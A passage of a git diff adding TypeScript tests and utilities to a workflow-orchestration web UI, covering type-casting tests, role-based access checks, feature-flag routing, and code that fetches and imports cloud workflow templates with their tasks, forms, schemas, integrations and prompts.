{ castToType, checkCoerceTypeError, inferType } from "utils/helpers"; + +const inferTypeCases = [ + { + value: 123, + expected: FIELD_TYPE_NUMBER, + }, + { + value: null, + expected: FIELD_TYPE_NULL, + }, + { + value: "test", + expected: FIELD_TYPE_STRING, + }, + { + value: false, + expected: FIELD_TYPE_BOOLEAN, + }, + { + value: { key: "value" }, + expected: FIELD_TYPE_OBJECT, + }, +]; + +describe("Check inferType function", () => { + test.each(inferTypeCases)( + "given '$value' as argument, returns $expected", + ({ value, expected }) => { + const result = inferType(value); + + expect(result).toBe(expected); + }, + ); +}); + +const castToTypeCases = [ + { + value: 123, + expected: 123, + }, + { + value: 0, + expected: 0, + }, + { + value: "123.321", + expected: "123.321", + }, + { + value: null, + expected: null, + }, + { + value: "test", + expected: "test", + }, + { + value: false, + expected: false, + }, + { + value: '{ key: "value" }', + expected: '{ key: "value" }', + }, + { + value: { key: "value" }, + expected: {}, + }, + { + value: "", + expected: "", + }, + { + value: "[1,2]", + expected: "[1,2]", + }, +]; + +describe("Check castToType function", () => { + test.each(castToTypeCases)( + "given '$value' as argument, returns '$expected'", + ({ value, expected }) => { + const result = castToType(value, inferType(value)); + + // Use toMatchObject for objects (which also works for primitives) + // or toBe for primitives - determined outside conditional + const isObjectExpected = expected && typeof expected === "object"; + + // Always make both assertions - one will be the actual check, one will be trivial + expect(isObjectExpected ? result : null).toMatchObject( + isObjectExpected ? expected : {}, + ); + expect(isObjectExpected || result === expected).toBeTruthy(); + }, + ); +}); + +// true: has error +const checkCoerceTypeErrorCases = [ + { + value: 123, + coerceTo: "integer", + expected: false, + }, + { + value: 123.123, + coerceTo: "integer", + expected: true, + }, + { + value: "123", + coerceTo: "integer", + expected: false, + }, + { + value: 123.321, + coerceTo: "double", + expected: false, + }, + { + value: "${someVariables}", + coerceTo: "double", + expected: false, + }, + { + value: "123.321a", + coerceTo: "double", + expected: true, + }, + { + value: "123.321", + coerceTo: "string", + expected: false, + }, +]; + +describe("Check checkCoerceTypeError function", () => { + test.each(checkCoerceTypeErrorCases)( + "given '$value' as argument, returns $expected", + ({ value, coerceTo, expected }) => { + const result = checkCoerceTypeError({ value, coerceTo }); + + expect(result).toBe(expected); + }, + ); +}); diff --git a/ui-next/src/utils/__tests__/utils.test.ts b/ui-next/src/utils/__tests__/utils.test.ts new file mode 100644 index 0000000..3bbdc61 --- /dev/null +++ b/ui-next/src/utils/__tests__/utils.test.ts @@ -0,0 +1,100 @@ +import { getErrors } from "utils"; + +const mockedHeaders = new Map([["content-type", "application/json"]]); +const headers = { + append: (name: string, value: string) => { + mockedHeaders.set(name, value); + return mockedHeaders; + }, + delete: (name: string) => { + mockedHeaders.delete(name); + }, + get: (name: string) => mockedHeaders.get(name), + has: (name: string) => mockedHeaders.has(name), + set: (name: string, value: string) => mockedHeaders.set(name, value), + forEach: mockedHeaders.forEach, +}; + +describe("getErrors", () => { + it("should return all errors", async () => { + const response = { + json: async () => { + return { + message: "Bad request", + validationErrors: [ + { + path: "registerTaskDef.taskDefinitions[0].ownerEmail", + message: "ownerEmail cannot be empty", + }, + { + path: "registerTaskDef.taskDefinitions[0].name", + message: "name cannot be empty", + }, + ], + }; + }, + headers: headers as unknown as Headers, + clone: () => ({ ...response }), + status: 400, + } as Response; + const errors = await getErrors(response); + expect(errors).toMatchObject({ + "registerTaskDef.taskDefinitions[0].ownerEmail": + "ownerEmail cannot be empty", + "registerTaskDef.taskDefinitions[0].name": "name cannot be empty", + }); + }); + + it("should return the error message", async () => { + const response = { + json: async () => { + return { + message: "Bad request", + }; + }, + headers: headers as unknown as Headers, + clone: () => ({ ...response }), + status: 400, + } as Response; + const errors = await getErrors(response); + expect(errors).toMatchObject({ + message: "Bad request", + }); + }); + + it("Should return default error message, if error could not be identified", async () => { + const response = { + json: async () => { + return { + name: "taskDef1", + }; + }, + clone: () => ({ ...response }), + status: 502, + statusText: "Bad Gateway", + } as Response; + const errors = await getErrors(response); + expect(errors).toMatchObject({ + message: `Error performing action. error number: 502 Bad Gateway`, + }); + }); + + it("Should be able to change error handler to custom function", async () => { + const response = { + json: async () => { + return { + name: "taskDef1", + }; + }, + clone: () => ({ ...response }), + status: 502, + statusText: "Bad Gateway", + } as Response; + const errors = await getErrors(response, () => ({ + message: "Hi im custom error handler", + })); + expect(errors).toMatchObject({ + message: "Hi im custom error handler", + }); + }); +}); diff --git a/ui-next/src/utils/__tests__/workflow.test.ts b/ui-next/src/utils/__tests__/workflow.test.ts new file mode 100644 index 0000000..809dc38 --- /dev/null +++ b/ui-next/src/utils/__tests__/workflow.test.ts @@ -0,0 +1,145 @@ +import { scanTasksForDependenciesInWorkflow } from "../workflow"; + +describe("scanTasksForDependenciesInWorkflow", () => { + it("should return empty dependencies for an empty workflow", () => { + const workflow = { + tasks: [], + }; + const result = scanTasksForDependenciesInWorkflow(workflow as any); + expect(result).toEqual({ + integrationNames: [], + promptNames: [], + userFormsNameVersion: [], + schemas: [], + secrets: [], + env: [], + workflowName: undefined, + workflowVersion: undefined, + }); + }); + + it("should extract LLM integration, prompt, secrets, and env from tasks", () => { + const workflow = { + tasks: [ + { + type: "LLM_TEXT_COMPLETE", + inputParameters: { + llmProvider: "openai", + promptName: "myPrompt", + secretField: "${workflow.secrets.API_KEY}", + envField: "${workflow.env.MY_ENV}", + }, + }, + ], + }; + const result = scanTasksForDependenciesInWorkflow(workflow as any); + expect(result.integrationNames).toContain("openai"); + expect(result.promptNames).toContain("myPrompt"); + expect(result.secrets).toContain("${workflow.secrets.API_KEY}"); + expect(result.env).toContain("${workflow.env.MY_ENV}"); + }); + + it("should extract user form name/version from human tasks", () => { + const workflow = { + tasks: [ + { + type: "HUMAN", + inputParameters: { + __humanTaskDefinition: { + userFormTemplate: { name: "formA", version: 2 }, + }, + }, + }, + ], + }; + const result = scanTasksForDependenciesInWorkflow(workflow as any); + expect(result.userFormsNameVersion).toEqual([ + { name: "formA", version: "2" }, + ]); + }); + + it("should extract schemas from task definitions", () => { + const workflow = { + tasks: [ + { + type: "SIMPLE", + inputParameters: {}, + taskDefinition: { + inputSchema: { name: "inputSchema", version: 1 }, + outputSchema: { name: "outputSchema", version: 2 }, + }, + }, + ], + }; + const result = scanTasksForDependenciesInWorkflow(workflow as any); + expect(result.schemas).toEqual([ + { name: "inputSchema", version: "1" }, + { name: "outputSchema", version: "2" }, + ]); + }); + + it("should extract workflow-level schemas and outputParameters secrets/env", () => { + const workflow = { + name: "wf1", + version: 3, + tasks: [], + inputSchema: { name: "wfInput", version: 1 }, + outputSchema: { name: "wfOutput", version: 2 }, + outputParameters: { + secret: "${workflow.secrets.SECRET1}", + env: "${workflow.env.ENV1}", + }, + }; + const result = scanTasksForDependenciesInWorkflow(workflow as any); + expect(result.schemas).toEqual([ + { name: "wfInput", version: "1" }, + { name: "wfOutput", version: "2" }, + ]); + expect(result.secrets).toContain("${workflow.secrets.SECRET1}"); + expect(result.env).toContain("${workflow.env.ENV1}"); + expect(result.workflowName).toBe("wf1"); + expect(result.workflowVersion).toBe(3); + }); + + it("should deduplicate user forms and schemas by name/version", () => { + const workflow = { + tasks: [ + { + type: "HUMAN", + inputParameters: { + __humanTaskDefinition: { + userFormTemplate: { name: "formA", version: 1 }, + }, + }, + }, + { + type: "HUMAN", + inputParameters: { + __humanTaskDefinition: { + userFormTemplate: { name: "formA", version: 1 }, + }, + }, + }, + { + type: "SIMPLE", + inputParameters: {}, + taskDefinition: { + inputSchema: { name: "schemaA", version: 1 }, + }, + }, + { + type: "SIMPLE", + inputParameters: {}, + taskDefinition: { + inputSchema: { name: "schemaA", version: 1 }, + }, + }, + ], + }; + const result = scanTasksForDependenciesInWorkflow(workflow as any); + expect(result.userFormsNameVersion).toEqual([ + { name: "formA", version: "1" }, + ]); + expect(result.schemas).toEqual([{ name: "schemaA", version: "1" }]); + }); +}); diff --git a/ui-next/src/utils/accessControl.ts b/ui-next/src/utils/accessControl.ts new file mode 100644 index 0000000..e9ffa7f --- /dev/null +++ b/ui-next/src/utils/accessControl.ts @@ -0,0 +1,59 @@ +import { AccessRole } from "types/User"; + +export interface UserInfo { + roles?: AccessRole[]; + groups?: any[]; +} + +const hasAnyRole = ( + userInfo: UserInfo | undefined | null, + allowedRoles: string[], +) => { + if (!userInfo) { + return false; + } + + const hasAllowedRoles = (roles?: any[]) => + roles?.find((role) => allowedRoles.includes(role.name)); + + if (hasAllowedRoles(userInfo.roles)) { + return true; + } + + if (userInfo.groups?.find((group) => hasAllowedRoles(group.roles))) { + return true; + } + + return false; +}; + +export const accessControl = { + hasUserManagement: (userInfo?: UserInfo) => { + return hasAnyRole(userInfo, ["ADMIN"]); + }, + hasApplicationManagement: (userInfo?: UserInfo) => { + return hasAnyRole(userInfo, ["USER", "ADMIN"]); + }, + hasOnlyReadOnlyAccess: (userInfo?: UserInfo) => { + if ( + hasAnyRole(userInfo, [ + "ADMIN", + "USER", + "METADATA_MANAGER", + "WORKFLOW_MANAGER", + ]) + ) { + return false; + } + return hasAnyRole(userInfo, ["USER_READ_ONLY"]); + }, + hasAnyRole, +}; + +export enum Role { + ADMIN = "ADMIN", + USER = "USER", + METADATA_MANAGER = "METADATA_MANAGER", + WORKFLOW_MANAGER = "WORKFLOW_MANAGER", + USER_READ_ONLY = "USER_READ_ONLY", +} diff --git a/ui-next/src/utils/agentTaskCategory.ts b/ui-next/src/utils/agentTaskCategory.ts new file mode 100644 index 0000000..b0438e2 --- /dev/null +++ b/ui-next/src/utils/agentTaskCategory.ts @@ -0,0 +1,49 @@ +/** + * Shared utility to classify agent tasks by their role in the workflow. + * Used by the Agent Execution debugger's detail panel to group an agent + * definition's `tools` list into tool / agent / guardrail / http / mcp / rag. + */ + +export type AgentTaskCategory = + | "tool" // User-defined @tool + | "agent_tool" // Sub-agent as tool + | "guardrail" // Guardrail task + | "http" // HTTP tool + | "mcp" // MCP integration + | "rag" // RAG tool + | "handoff" // Handoff check / transfer + | "system" // Internal system task (termination, check_transfer, etc.) + | "passthrough" // Framework passthrough + | "unknown"; + +/** + * Categorise a single tool entry by its toolType field. + */ +export function toolCategory(toolType: string | undefined): AgentTaskCategory { + const tt = (toolType ?? "").toLowerCase(); + if (tt === "agent_tool" || tt === "agent") return "agent_tool"; + if (tt === "guardrail") return "guardrail"; + if (tt === "http") return "http"; + if (tt === "mcp") return "mcp"; + if (tt === "rag") return "rag"; + return "tool"; // worker, tool, simple, or unknown +} + +/** + * Map AgentTaskCategory back to the narrower ToolCategory used by + * AgentDetailPanel (which only cares about tool-level classification). + */ +export type ToolCategory = + | "agent" + | "tool" + | "guardrail" + | "http" + | "mcp" + | "rag"; +export function toolCategoryForPanel(t: Record): ToolCategory { + const cat = toolCategory(t.toolType as string | undefined); + if (cat === "agent_tool") return "agent"; + if (cat === "guardrail" || cat === "http" || cat === "mcp" || cat === "rag") + return cat; + return "tool"; +} diff --git a/ui-next/src/utils/array.ts b/ui-next/src/utils/array.ts new file mode 100644 index 0000000..94b58b0 --- /dev/null +++ b/ui-next/src/utils/array.ts @@ -0,0 +1,24 @@ +export const adjust = (idx: number, aplFun: () => T, sourceArray: T[]) => + Object.assign([], sourceArray, { [idx]: aplFun() }); + +/** + * Takes an index and a count removes from index count elements of array + * + * @param {*} idx + * @param {*} count + * @param {*} sourceArray + * @returns + */ +export const remove = (idx: number, count: number, sourceArray: Array) => { + const arrayCopy = sourceArray.slice(); + arrayCopy.splice(idx, count); + return arrayCopy; +}; + +export const insert = (index: number, newItem: T, arr: T[]) => + arr.slice(0, index).concat(newItem).concat(arr.slice(index)); + +export const cartesianProduct = ( + a: Array, + b: Array, +): Array<[TA, TB]> => a.flatMap((va) => b.map((vb): [TA, TB] => [va, vb])); diff --git a/ui-next/src/utils/checkPathFlag.ts b/ui-next/src/utils/checkPathFlag.ts new file mode 100644 index 0000000..967488d --- /dev/null +++ b/ui-next/src/utils/checkPathFlag.ts @@ -0,0 +1,51 @@ +import { FEATURES, featureFlags } from "utils/flags"; + +type PathFlagMap = { + [key: string]: any; +}; + +const pathFlagMap: PathFlagMap = { + "/workflowDef": true, + "/taskDef": true, + "/get-started": featureFlags.isEnabled(FEATURES.SHOW_GET_STARTED_PAGE), + "/scheduleDef": featureFlags.isEnabled(FEATURES.SCHEDULER), + "/schedulerExecs": featureFlags.isEnabled(FEATURES.SCHEDULER), + "/newScheduleDef": featureFlags.isEnabled(FEATURES.SCHEDULER), + "/secrets": featureFlags.isEnabled(FEATURES.SECRETS), + "/human": featureFlags.isEnabled(FEATURES.HUMAN_TASK), + "/configure-webhook": featureFlags.isEnabled(FEATURES.WEBHOOKS), + "/newWebhook": featureFlags.isEnabled(FEATURES.WEBHOOKS), + "/userManagement": featureFlags.isEnabled(FEATURES.RBAC), + "/groupManagement": featureFlags.isEnabled(FEATURES.RBAC), + "/ai_prompts": featureFlags.isEnabled(FEATURES.INTEGRATIONS), + "/integrations": featureFlags.isEnabled(FEATURES.INTEGRATIONS), + "/": true, +}; + +const pathFlagMapWithoutSKU: PathFlagMap = { + "/scheduleDef": featureFlags.isEnabled(FEATURES.SCHEDULER), + "/schedulerExecs": featureFlags.isEnabled(FEATURES.SCHEDULER), + "/newScheduleDef": featureFlags.isEnabled(FEATURES.SCHEDULER), + "/human": featureFlags.isEnabled(FEATURES.HUMAN_TASK), + "/ai_prompts": featureFlags.isEnabled(FEATURES.INTEGRATIONS), + "/integrations": featureFlags.isEnabled(FEATURES.INTEGRATIONS), + "/remote-services": featureFlags.isEnabled(FEATURES.REMOTE_SERVICES), + "/newRemoteServiceDef": featureFlags.isEnabled(FEATURES.REMOTE_SERVICES), + "/": true, +}; + +export const checkPathFlag = (path: string) => { + if (!featureFlags.isEnabled(FEATURES.SKU_ENABLED)) { + for (const key in pathFlagMapWithoutSKU) { + if (path.startsWith(key)) { + return pathFlagMapWithoutSKU[key]; + } + } + } + for (const key in pathFlagMap) { + if (path.startsWith(key)) { + return pathFlagMap[key]; + } + } + return false; +}; diff --git a/ui-next/src/utils/cloudTemplates.ts b/ui-next/src/utils/cloudTemplates.ts new file mode 100644 index 0000000..7a46f7f --- /dev/null +++ b/ui-next/src/utils/cloudTemplates.ts @@ -0,0 +1,825 @@ +import { AuthHeaders, ErrorObj } from "types/common"; +import { + CloudTemplateType, + CloudTemplateTypeV1, + CloudTemplateTypeV2, + IntegrationAndModel, +} from "types/CloudTemplateType"; +import { logger } from "./logger"; +import { getErrorMessage, tryFunc, tryToJson } from "./utils"; +import { WorkflowDef } from "types/WorkflowDef"; +import { fetchWithContext } from "plugins/fetch"; +import { CommonTaskDef } from "types/TaskType"; +import _zip from "lodash/zip"; +import _flow from "lodash/flow"; +import { featureFlags, FEATURES } from "./flags"; +import { replaceValues } from "./object"; +import { HumanTemplate } from "types/HumanTaskTypes"; +import { SchemaDefinition } from "types/SchemaDefinition"; +import { + SchemaResult, + TaskResult, + HumanTemplateResult, + WorkflowResult, + IntegrationAndModelResult, + ModelResult, + IntegrationResult, + PromptResult, +} from "types/CloudTemplateResults"; +import { IntegrationI, ModelDto } from "types/Integrations"; +import { PromptDef } from "types/Prompts"; +import { toMaybeQueryString } from "./toMaybeQueryString"; + +const CLOUD_CALL_STORAGE_KEY = "cloudTemplates"; +const WF_TEMPLATE_URL_PREFIX = "ct-wf-"; + +const TASK_TEMPLATE_URL_PREFIX = "ct-task-"; + +// https://beta-saas.orkesconductor.com/api/templates +// https://cloud.orkes.io/api/templates + +// removing quotes from the string +const cloudTemplatesSourceFlagValue = featureFlags + .getValue(FEATURES.CLOUD_TEMPLATES_SOURCE) + ?.replace(/['"]/g, ""); + +const CLOUD_URL = + cloudTemplatesSourceFlagValue ?? + "https://raw.githubusercontent.com/conductor-oss/awesome-conductor-apps/refs/heads/main/templates.json"; + +export const justName = ({ name }: { name: string }) => name; + +/** + * Validates that a template has all the required fields that TemplateCard needs to render properly. + * This includes: id, title, description, category, tags (as an array), and version >= 2. + */ +export const isValidTemplate = ( + template: CloudTemplateType | null | undefined, +): boolean => { + if (!template) return false; + + return ( + typeof template.id === "string" && + template.id.length > 0 && + typeof template.title === "string" && + template.title.length > 0 && + typeof template.description === "string" && + typeof template.category === "string" && + template.category.length > 0 && + Array.isArray(template.tags) && + typeof template.version === "number" && + template.version >= 2 + ); +}; + +// const fetchContext = fetchContextNonHook(); + +export const fetchCloudTemplates = async (): Promise<{ + cloudTemplates: CloudTemplateType[]; +}> => { + try { + const response = await fetch(CLOUD_URL); + const result = await response.text(); + + const relevantTemplates = JSON.parse(result); + + localStorage.setItem(CLOUD_CALL_STORAGE_KEY, result); + + return { cloudTemplates: relevantTemplates }; + } catch (error) { + logger.error(error); + logger.log("Using cached cloud templates"); + const cached = localStorage.getItem(CLOUD_CALL_STORAGE_KEY); + return { cloudTemplates: tryToJson(cached) || [] }; + } +}; + +export const fetchCloudTemplatesPreferCached = async (): Promise<{ + cloudTemplates: CloudTemplateType[]; +}> => { + const cached = localStorage.getItem(CLOUD_CALL_STORAGE_KEY); + if (cached) { + return { cloudTemplates: tryToJson(cached) || [] }; + } + return fetchCloudTemplates(); +}; +// FIXME this code is repeated makes no sense at all + +const fetchWorkflowAndCatch = async ( + workflowPath?: string, + keyPrefix = WF_TEMPLATE_URL_PREFIX, +) => { + try { + if (workflowPath) { + const workflowResponse = await fetch(workflowPath); + const workflowResult = await workflowResponse.json(); + + localStorage.setItem( + `${keyPrefix}${workflowPath}`, + JSON.stringify(workflowResult), + ); + + return workflowResult; + } + + return []; + } catch { + return tryToJson(localStorage.getItem(`${keyPrefix}${workflowPath}`)) || []; + } +}; + +const fetchTask = async (taskPath?: string) => { + try { + if (taskPath) { + const taskResponse = await fetch(taskPath); + const taskResult = await taskResponse.json(); + + localStorage.setItem( + `${TASK_TEMPLATE_URL_PREFIX}${taskPath}`, + taskResult, + ); + + return taskResult; + } + + return []; + } catch { + return ( + tryToJson( + localStorage.getItem(`${TASK_TEMPLATE_URL_PREFIX}${taskPath}`), + ) || [] + ); + } +}; + +const fetchUserForms = async (userFormsPath?: string) => { + try { + if (userFormsPath) { + const userFormsResponse = await fetch(userFormsPath); + const userFormsResult = await userFormsResponse.json(); + + return userFormsResult; + } + + return []; + } catch { + logger.error("Failed to fetch User Forms"); + return []; + } +}; + +const fetchSchemas = async (schemasPath?: string) => { + try { + if (schemasPath) { + const schemasResponse = await fetch(schemasPath); + const schemasResult = await schemasResponse.json(); + + return schemasResult; + } + + return []; + } catch { + logger.error("Failed to fetch Schemas"); + return []; + } +}; + +const fetchIntegrationAndModels = async ( + integrationsAndModelsPath?: string, +): Promise => { + try { + if (integrationsAndModelsPath) { + const integrationsAndModelResponse = await fetch( + integrationsAndModelsPath, + ); + const integrationsAndModels = await integrationsAndModelResponse.json(); + + return integrationsAndModels; + } + + return []; + } catch { + return ( + tryToJson( + localStorage.getItem( + `${TASK_TEMPLATE_URL_PREFIX}${integrationsAndModelsPath}`, + ), + ) || [] + ); + } +}; + +const fetchPrompts = async (promptsPath?: string) => { + try { + if (promptsPath) { + const promptsResponse = await fetch(promptsPath); + const promptsResult = await promptsResponse.json(); + + return promptsResult; + } + logger.info("prompts path not defined"); + return []; + } catch { + logger.error("Failed to fetch Prompts"); + return []; + } +}; +// end of repeated code +export type ImportSummary = { + workflowResponse: WorkflowDef[]; + taskResponse: CommonTaskDef[]; + userFormsResponse: HumanTemplate[]; + schemasResponse: SchemaDefinition[]; + integrationsAndModelsResponse: IntegrationAndModel[]; + promptsResponse: PromptDef[]; +}; + +const isCloudTemplateV1 = ( + card: CloudTemplateType, +): card is CloudTemplateTypeV1 => { + return card.version === 1; +}; + +const isCloudTemplateV2 = ( + card: CloudTemplateType, +): card is CloudTemplateTypeV2 => { + return card.version === 2; +}; + +export const fetchWorkflowWithDependencies = async ( + selectedCard: CloudTemplateType, +): Promise => { + const empty = { + workflowResponse: [], + taskResponse: [], + userFormsResponse: [], + schemasResponse: [], + integrationsAndModelsResponse: [], + promptsResponse: [], + }; + if (!selectedCard) { + return empty; + } + if (isCloudTemplateV1(selectedCard)) { + return fetchWorkflowWithDependenciesV1(selectedCard); + } + if (isCloudTemplateV2(selectedCard)) { + return fetchWorkflowWithDependenciesV2(selectedCard); + } + return empty; +}; + +export const fetchWorkflowWithDependenciesV2 = ( + selectedCard: CloudTemplateTypeV2, +): ImportSummary => { + return { + workflowResponse: (selectedCard?.workflowDefinitions ?? + []) as unknown as WorkflowDef[], + taskResponse: (selectedCard?.taskDefinitions ?? + []) as unknown as CommonTaskDef[], + userFormsResponse: (selectedCard?.userForms ?? + []) as unknown as HumanTemplate[], + schemasResponse: (selectedCard?.schemas ?? + []) as unknown as SchemaDefinition[], + integrationsAndModelsResponse: (selectedCard?.integrationsWithModels ?? + []) as unknown as IntegrationAndModel[], + promptsResponse: (selectedCard?.prompts ?? []) as PromptDef[], + }; +}; + +export const fetchWorkflowWithDependenciesV1 = async ( + selectedCard: CloudTemplateTypeV1, +) => { + return tryFunc({ + fn: async () => { + const workflowPath = + selectedCard?.workflowTemplateDefLink ?? + selectedCard?.workflowDefinitionGithubLink; + const taskPath = + selectedCard?.taskTemplateDefsLink ?? + selectedCard?.taskDefinitionsGithubLink; + const userFormsPath = + selectedCard?.userFormTemplateDefLink ?? + selectedCard?.userFormsGithubLink; + const schemasPath = + selectedCard?.schemaDefTemplateLink ?? selectedCard?.schemasGithubLink; + const integrationsAndModels = + selectedCard?.integrationAndModelsGithubLink; + const promptsPath = selectedCard?.promptsGithubLink; + + const [ + workflowData, + taskData, + userFormsData, + schemasData, + integrationsAndModelsData, + promptsData, + ] = await Promise.all([ + fetchWorkflowAndCatch(workflowPath), + fetchTask(taskPath), + fetchUserForms(userFormsPath), + fetchSchemas(schemasPath), + fetchIntegrationAndModels(integrationsAndModels), + fetchPrompts(promptsPath), + ]); + + return { + workflowResponse: workflowData ?? [], + taskResponse: taskData ?? [], + userFormsResponse: userFormsData ?? [], + schemasResponse: schemasData ?? [], + integrationsAndModelsResponse: integrationsAndModelsData ?? [], + promptsResponse: promptsData ?? [], + } as const; + }, + customError: { + message: "Fetching workflows and tasks failed!", + }, + showCustomError: false, + }); +}; + +export const importWorkflow = async ( + context: { authHeaders: AuthHeaders; workflowNames: string[] }, + workflowDefinition: WorkflowDef, +) => { + const { authHeaders, workflowNames } = context; + if (workflowNames.includes(workflowDefinition.name)) { + return { + workflow: workflowDefinition, + success: false, + message: "Workflow already exists", + }; + } + try { + await fetchWithContext( + "/metadata/workflow?overwrite=true", + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: JSON.stringify(workflowDefinition), + }, + ); + return { workflow: workflowDefinition, success: true }; + } catch (error: any) { + const errorMessage = await getErrorMessage(error); + return { + workflow: workflowDefinition, + success: false, + message: errorMessage ?? "Saving Failed", + }; + } +}; + +export const importTask = async ( + context: { authHeaders: AuthHeaders; taskNames: string[] }, + modifiedTaskDefinition: CommonTaskDef, +) => { + const { authHeaders, taskNames } = context; + if (taskNames.includes(modifiedTaskDefinition.name)) { + return { + task: modifiedTaskDefinition, + success: false, + message: "Task already exists", + }; + } + try { + const stringDefinition = JSON.stringify(modifiedTaskDefinition, null, 2); + const body = `[${stringDefinition}]`; + + await fetchWithContext( + "/metadata/taskdefs", + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body, + }, + ); + + return { task: modifiedTaskDefinition, success: true }; + } catch (error: any) { + const errorMessage = await getErrorMessage(error); + return { + task: modifiedTaskDefinition, + success: false, + message: errorMessage ?? "Saving failed", + }; + } +}; + +export const importUserForm = async ( + context: { authHeaders: AuthHeaders }, + userFormDefinition: HumanTemplate, + userFormNames: string[], +) => { + const { authHeaders } = context; + if (userFormNames.includes(userFormDefinition.name)) { + return { + userForm: userFormDefinition, + success: false, + message: "User form already exists", + }; + } + try { + await fetchWithContext( + "/human/template", + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: JSON.stringify(userFormDefinition), + }, + ); + + return { userForm: userFormDefinition, success: true }; + } catch (error: any) { + const errorMessage = await getErrorMessage(error); + return { + userForm: userFormDefinition, + success: false, + message: errorMessage ?? "Saving failed", + }; + } +}; + +export const importSchemas = async ( + context: { authHeaders: AuthHeaders }, + schemasDefinition: SchemaDefinition, + schemasNames: string[], +) => { + const { authHeaders } = context; + if (schemasNames.includes(schemasDefinition.name)) { + return { + schema: schemasDefinition, + success: false, + message: "Schema already exists", + }; + } + try { + await fetchWithContext( + "/schema", + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: JSON.stringify(schemasDefinition), + }, + ); + + return { schema: schemasDefinition, success: true }; + } catch (error: any) { + const errorMessage = await getErrorMessage(error); + return { + schema: schemasDefinition, + success: false, + message: errorMessage ?? "Saving failed", + }; + } +}; + +const importIntegration = async ( + context: { authHeaders: AuthHeaders }, + integration: IntegrationI, +): Promise => { + const { authHeaders } = context; + try { + await fetchWithContext( + `/integrations/provider/${integration.name}`, + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: JSON.stringify(integration), + }, + ); + return { + success: true, + integration, + }; + } catch (error: any) { + const errorMessage = await getErrorMessage(error); + return { + integration: integration, + success: false, + message: errorMessage ?? "Saving failed", + }; + } +}; + +const importModel = async ( + context: { authHeaders: AuthHeaders }, + model: ModelDto, +): Promise => { + const { authHeaders } = context; + try { + await fetchWithContext( + `/integrations/provider/${model.integrationName}/integration/${model.api}`, + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: JSON.stringify(model), + }, + ); + return { + model: model, + success: true, + }; + } catch (error: any) { + const errorMessage = await getErrorMessage(error); + return { + model: model, + success: false, + message: errorMessage ?? "Saving failed", + }; + } +}; + +const importIntegrationAndModel = async ( + context: { authHeaders: AuthHeaders }, + integrationAndModel: IntegrationAndModel, + existingIntegrations: IntegrationI[], +): Promise => { + const integration = integrationAndModel.integration; + const existingIntegration = existingIntegrations.find( + (i) => i.name === integration.name, + ); + let importIntegrationResult: IntegrationResult; + if (existingIntegration === undefined) { + importIntegrationResult = await importIntegration(context, integration); + if (importIntegrationResult?.success) { + const models = integrationAndModel.models; + const importModelResults: ModelResult[] = await Promise.all( + models.map((model) => importModel(context, model)), + ); + return { + integration: integration, + modelResults: importModelResults, + success: true, + message: "Integration and models imported successfully", + }; + } + } else { + importIntegrationResult = { + integration: existingIntegration, + success: true, + message: "Integration already exists", + }; + + const models = integrationAndModel.models; + const importModelResults: ModelResult[] = await Promise.all( + models.map((model) => importModel(context, model)), + ); + return { + integration: integration, + modelResults: importModelResults, + success: true, + message: "Integration and models imported successfully", + }; + } + + return { + ...importIntegrationResult, + modelResults: [], + }; +}; + +const importPrompt = async ( + context: { authHeaders: AuthHeaders }, + prompt: PromptDef, +): Promise => { + const { authHeaders } = context; + const promptObj = { + models: prompt.integrations, + description: prompt.description, + }; + try { + await fetchWithContext( + `/prompts/${prompt.name}${toMaybeQueryString(promptObj)}`, + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: prompt.template, + }, + ); + return { + prompt, + success: true, + }; + } catch (error: any) { + const errorMessage = await getErrorMessage(error); + return { + prompt, + success: false, + message: errorMessage ?? "Saving failed", + }; + } +}; +export type ImportWorkflowApplicationArgs = { + authHeaders: AuthHeaders; + workflowNames: string[]; + taskNames: string[]; + existingIntegrations: IntegrationI[]; // Merge existing integrations if exists, So that we dont replace their apikey + cardWorkflowDefinitions: WorkflowDef[]; + cardWorkflowDefinitionChanges: WorkflowDef[]; + cardTaskDefinitions?: CommonTaskDef[]; + cardUserForms?: HumanTemplate[]; + cardSchemas?: SchemaDefinition[]; + cardIntegrationsAndModels?: IntegrationAndModel[]; + cardPrompts?: PromptDef[]; +}; + +export type ImportWorkflowApplicationResult = Promise<{ + importWorkflowResults: WorkflowResult[]; + importTaskResults: TaskResult[]; + importUserFormResults: HumanTemplateResult[]; + importSchemaResults: SchemaResult[]; + importIntegrationAndModelResults: IntegrationAndModelResult[]; + importPromptsResult: PromptResult[]; +}>; + +export const importWorkflowWithDependencies = async ( + context: ImportWorkflowApplicationArgs, +): ImportWorkflowApplicationResult => { + const { + workflowNames = [], + taskNames = [], + existingIntegrations = [], + cardWorkflowDefinitions = [], + cardWorkflowDefinitionChanges = [], + cardTaskDefinitions = [], + cardUserForms = [], + cardSchemas = [], + cardIntegrationsAndModels = [], + cardPrompts = [], + } = context; + + // Test if names dont colide between new workflows + const maybeWorkflowRepeatedNames = + new Set(cardWorkflowDefinitionChanges.map(justName)).size !== + cardWorkflowDefinitionChanges.length + ? cardWorkflowDefinitionChanges.map((w) => ({ + workflow: w, + success: false, + message: "Workflows cant have the same name", + })) + : []; + + const maybeTasksRepeatedNames = + new Set(cardTaskDefinitions.map(justName)).size !== + cardTaskDefinitions.length + ? cardTaskDefinitions.map((t) => ({ + task: t, + success: false, + message: "Tasks cant have the same name", + })) + : []; + + if ( + maybeTasksRepeatedNames.length > 0 || + maybeWorkflowRepeatedNames.length > 0 + ) { + return { + importWorkflowResults: maybeWorkflowRepeatedNames, + importTaskResults: maybeTasksRepeatedNames, + importUserFormResults: [], + importSchemaResults: [], + importIntegrationAndModelResults: [], + importPromptsResult: [], + }; + } + + // Re test if the changed dont colide with other already defined workflows + // Patch pre-test for duplicated + const maybeDuplicateWf = cardWorkflowDefinitionChanges.reduce( + (acc, w) => + workflowNames.includes(w.name) + ? acc.concat({ + //@ts-ignore + workflow: w, + success: false, + message: "Workflow already exists", + }) + : acc, + [], + ); + + const maybeDuplicateTasks = cardTaskDefinitions.reduce( + (acc, t) => + taskNames.includes(t.name) + ? acc.concat({ + // @ts-ignore + task: 